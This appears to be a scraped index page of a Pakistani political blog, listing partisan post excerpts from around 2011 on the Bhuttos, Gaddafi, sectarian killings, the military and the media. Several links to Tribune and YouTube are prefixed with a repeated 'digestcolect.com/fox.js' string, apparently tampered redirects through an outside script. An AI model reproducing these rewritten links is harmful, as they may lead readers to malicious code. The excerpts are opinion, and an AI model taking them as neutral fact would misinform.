Mother of democracy Begum Nusrat Bhutto dies: DUBAI: Nusrat Bhutto, widow of former prime minister Zulfiqar Ali Bhutto and mother of assassinated former prime minister Benazir Bhutto, passed away in Dubai on Sunday. The federal government to announce one day of mourning due to her demise.

An incomplete justification: On Ayesha Siddiqa’s review of Imran Khan’s book: Dr. Ayesha Siddiqa, along with Kamran Shafi, Dr Mohammad Taqi, Nadeem Paracha and a few others, is one of those writers who I respect because of their principled stance on the military state, right wing extremists and urban-centric liberal-nationalists.

The Buddhist heritage of Pakistan: The beauty of ancient globalisation: Pakistan’s problems with violent extremism have eclipsed its historical role as a place with a tradition of tolerance. TODAY Peshawar in north-west Pakistan is a hotbed of insurgency and a strategic military entry point into Afghanistan. But more than

Adliya Azad Hay for PML-N: We now concur that our Adliya is Azad. It is free 100%. It is free for all the Muslim Leagues. Be in the N or the Q. While, Moonis Ilahi’s acquittal has found front page space, another case involving

What Arab Spring? This is Saudi Winter! – by Abdul Basit: Related post: Saudi winter in the Middle East and Hamas militants’ attack on Shia Muslims in Gaza The public lynching and gruesome murder of Libyan dictator Maumar Qaddafi is not a matter to be celebrated; rather it represents another victory for

A comment on Bruce Riedel’s proposed accountability of Pakistan army: Related posts: Appeal to international community: Impose travel restrictions on all senior officers of Pakistan army The world may help Pakistan through United Nations Monitoring, Verification and Inspection Commission on Pakistan (UNMOVICP) Urgent Petition: Stop Pakistan Army’s Crimes against

Church report condemns Pakistan’s intolerance toward Non-Muslims: A 12-year-old Christian girl’s ordeal sheds further light on the plight of religious minorities. LAHORE, Pakistan — Human-rights activists in Pakistan and outside are aghast over the plight of a 12-year-old Christian girl who escaped the clutches of her

Khaled Ahmed’s false binaries on Hazara Shias and Pashtuns: Khaled Ahmed in TFT offers a classical example of flawed analysis on religious extremism and violence in Pakistan and Afghanistan. Given Mr. Ahmed’s past sterling scholarship on this topic, the present article is a disappointment. The author presents a

Gaddafi’s bloodied body will haunt imperialists! – by Shiraz Paracha:   A dear friend of Zulfiqar Ali Bhutto and a supporter of the people of Pakistan, Muammar Gaddafi of Libya was killed in the most violent way by NATO and its Al-Qaeda mercenaries. The U.S. President Barack Hussein Obama and

Attacks on journalists and media freedom – by Imtiaz Alam: Media Commission Pakistan held its second conference on 15th October in Islamabad on “attacks on journalists and media freedom”. About 150 editors and leading journalists attended the conference. Following are excerpts from the declaration issued by the conference. The

Shahbaz Sharif’s unfair restrictions on PTI’s public meeting in Lahore: Source: Pakistan Blogzine While I am no supporter of Imran Khan’s PTI (Pakistan Tehreek-e-Insaf), I consider it every political party’s right to organize political campaign and jalsas (public meetings). Apparently, PML-N’s government in Punjab (led by Chief Minister Shahbaz

Media is selling anti-Americanism & fake nationalism: Though we live in an age of media abundance, but Pakistani media still be quite unreasonable and irresponsible. The security and intelligence establishment with the help of media owners control and command information and media indusrty here, despite media

… Meanwhile in the Land of the Pure – by Nadeem F. Paracha: * Photo illustrations by Nadeem F. Paracha Source: Dawn

Farhat Taj exposing Deep State’s plausible deniability: With Thanks : BBC Urdu  We are pleased to post this excellent eye-opening interview by Farhat Taj where she exposes the Deep State and the false narratives of the likes of Imran Khan.   قبائلی لشکر لمبی جنگ کے

Najam Sethi’s role in the Baloch resistance movement of 1970s – by Laibaah: Cross-posted from Pakistan Blogzine For a counter view, read this post: LUBP must not consciously malign Najam Sethi **** Najam Sethi, according to some of his “urban liberal” colleagues (some of whom are employees/columnists of The Friday Times or

Did someone say “Dr General-CMLA Ziaul Haq” too? — by Abbas Zaidi: Ninety-nine percent of Pakistani (electronic and print) media (Urdu as well as English) is right wing, and 100 percent of it has run amok in fury over an honorary doctorate awarded to Interior Minister Rehman Malik by Governor Sindh

Killings of Hazara Shias: makings of genocide? Some questions for human rights groups — by Mohammad Taqi: Guest editor’s note: In the following op-ed published in Daily Times, Dr. Mohammad Taqi continues with his tradition of writing on sensitive and non-mainstream topics thus demonstrating his character and intellectual integrity. Dr. Taqi asks tough questions from what

Who is a terrorist? – By Niaz Murtaza: One finds little legal guidance on this knotty question since the international community has yet to develop a legal definition given terrorism’s politically charged nature. Terrorism literally means using terror as a strategy. This definition would cover psychopaths mutilating

Laws Issued by the Taliban Government in Afghanistan – by Malala Khan: With many in Pakistan still wooing for Taliban victory in Afghanistan, let’s glance through the decrees issued under this short yet ‘glorious’ rule. Here are some of the laws issued by the Taliban government in Afghanistan. ■The government declared:

The killings and the promises — by Mir Sohaib Mengal: The media and the judiciary keep concentrating on non-issues but turn a blind eye to brutalities and human rights violations by state-run agencies Prime Minister Gilani, on his recent visit to Quetta, asked the militants to shun violence and

آلو انڈے اور بے غیرت برگیڈ: کھڑے پانی میں پتھر پھینکیں تو ایک چھپاکا سا ہوتا ہے، تھوڑا سا تلاطم پیدا ہوتا ہے اور پانی میں گول گول سے دائرے بنتے چلے جاتے ہیں، مگر تھوڑی دیر میں پھر وہی سکوت طاری ہو جاتا ہے،

Sharifia Aalu Anday: It’s not Zardari’s corruption they are after, Sharifs want to save their skin In a case of instant justice to the high and mighty, the Lahore High Court has restrained an accountability court from proceeding with references filed against

Letting this cold-blooded murderer live will not be a high price, ONLY if… By Shoaib Mir: There is ample room for disagreement with what Abira Ashfaq wrote in her article “Let Mumtaz Qadri live”  http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&blogs.tribune.com.pk/story/8339/let-mumtaz-qadri-live/ But let us just concentrate on what she said while replying to the readers’ comments:   “Asiya Bibi should not

October 18, 2007 – Benazir’s homecoming with a Benazir vision – By Saria Benazir: Times, going too swift – roving all around & considering the golden sun glimmers of October 18, 2007 – Ah! A scrutiny of the ambiance all about – Either gazing at the sky, were those the crests of Himalayas

Media must become voice of a billion, not just represent urban population: Here is a piece of advice from ex-Indian President Abdul Kalam to Indian media. The advice is equally applicable to Pakistanis media, which (dominated by right wingers and fake liberals) remains urban, middle-class centric and sesnational events-focused. Abdul Kalam’s

Repeal Blasphemy laws – by Merlin Flower: After all those decades, one would think the colonial past is, right, a thing of the past. Yet, some things just liger on, clutching steadfast, regressively progressing every other day. While it’s not uncommon to see laws from the

Enjoying ‘Aaloo-Andey’ with the people – By Nadeem Farooq Paracha: Editor’s Note: We are pleased to cross post this excellent article for DAWN Blogs by Nadeem Paracha.  Kudos to the Beygairat Brigade for their bold, audicious, subversive and darkly comic song on the prevailing Zeitgiest of the Urban elites. Just

Aiders and abettors – by Kamran Shafi: Related posts: Maleeha Lodhi and her services to the Deep State LUBP Archive on Maleeha Lodhi The Deep State is not alone in its enterprise of trying to fool all of the people all of the time for its

I want the Baloch to get back the true Meaning of Life! Do you? – by Salma Jafar: Cross-posed from Pakistan Blogzine A topic so close to my heart that it’s hard to write on, but on Laibaah’s request here is a take on the issue of Balochistan and in particular the issue of missing persons which

Genocide of Bengal 1971: All India Muslim League was founded in Bengal, Pakistan Resolution was forwarded and presented by Late. Maulvi Fazle Haq but his name is not on the Minar-e-Pakistan, Lahore. The vote of Bengalis was 62% for Pakistan. In a memorable

Sufi clerics issue call to reject hardline Wahabis: NEW DELHI: A prominent organization of Sunni clerics has urged Muslims to reject hardline Wahabi Islam, which it said was giving the community a bad name, and called for limiting the influence of Saudi Arabia, which it blamed for

Zor-dari Siasat – by Asadullah Ghalib:

Aalu Anday – by Beygairat Brigade: One of the most well-informed Pakistani music videos: Aalu Anday – by Beygairat Brigade Great song, very smart lyrics and video, most probably inspired by veteran columnist Kamran Shafi’s critical articles on the Ghairat Brigade, e.g., The Ghairat Brigades

The backbreaking side of Hajj that no one talks about…-By Ali Wahab: Published: Express Tribune,  October 17, 2011 Hajj is a big business not just for the arrangers of the pilgrimage but also for the Saudi Arabian economy. However, the impact of Hajj on Pakistan’s economy and how much it can

Shia Hazaras: Guilty of being a minority in establishment’s Pakistan – by Hafsa Khawaja: Originally published on her blog The Pakistan of today has found itself to be nothing but a wreckage of a country, a carcass of a state and an international outcast. A tragedy brought upon itself by both; the sharp

Laal against religious extremism and terrorism: LUBP is pleased to publish the following lecture (video) and the associated talk by Dr. Taimur Rahman which presents Laal’s brave, principled stance on religious extremism and terrorism in Pakistan and the wider region: (pt1) http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=eO9qo-7Yapc (pt2) http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.youtube.com/watch?v=4VFbQ_4QmAY (pt3)

RIP Hamid Akhtar:     LUBP Editors express their profound grief over the demise of Hamid Akhtar, veteran progressive scholar, activist and columnist. In the last few years, we have always supported, valued and published Mr. Akhtar’s bold columns which were originally

Rape of History by Muslims – by Hamid Akhtar: In the following two columns published in daily Express in March 2009, veteran columnist (late) Hamid Akhtar offers some excerpts from Hasan Jafar Zaidi’s article “hamari tarikh fehmi aur humara fikir aur siasi bohran” which was published in the

Kharotabad: A Taliban safe haven in Quetta: People in Kharotabad are living in constant fear of possible drone attacks in their neighbourhood, considering that over the past six months, the Afghan and local Taliban seemed to covet this part of Quetta as a veritable ‘vacation spot’.

Takfiri Molvi and the Taliban’s ideology – by Asad Munir: Those who support the Taliban also think that when the Americans leave, the Taliban will give up their arms and return to a normal peaceful life. They should see a recent video uploaded on YouTube. It is titled “Takfiri